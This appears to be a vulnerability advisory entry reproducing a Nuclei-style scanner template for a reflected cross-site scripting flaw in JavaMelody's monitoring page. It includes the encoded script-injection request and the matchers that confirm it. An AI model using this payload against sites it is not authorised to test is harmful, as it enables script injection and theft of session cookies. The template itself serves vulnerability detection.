JavaMelody contains a cross-site scripting vulnerability via the monitoring parameter. An attacker can execute arbitrary script in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
PoC代码[已公开]
id: java-melody-xss
info:
name: JavaMelody - Cross-Site Scripting
author: kailashbohara
severity: high
description: JavaMelody contains a cross-site scripting vulnerability via the monitoring parameter. An attacker can execute arbitrary script in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
reference:
- https://github.com/Hurdano/JavaMelody-XSS
- https://github.com/javamelody/javamelody/pull/555
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cwe-id: CWE-79
metadata:
max-request: 1
tags: xss,javamelody,vuln
http:
- method: GET
path:
- '{{BaseURL}}/monitoring?part=graph&graph=usedMemory%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
matchers-condition: and
matchers:
- type: word
words:
- '</script><script>alert(document.domain)</script>'
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4b0a00483046022100da9f2611ff00644f11af84545a112f639fd8d1d4ccaa26860b9c8c386f35d4b3022100f466d2411cdd479d6adf942e592e21ee03de78a01824c2c3506db20d1be14dc7:922c64590222798bb761d5b6d8e72950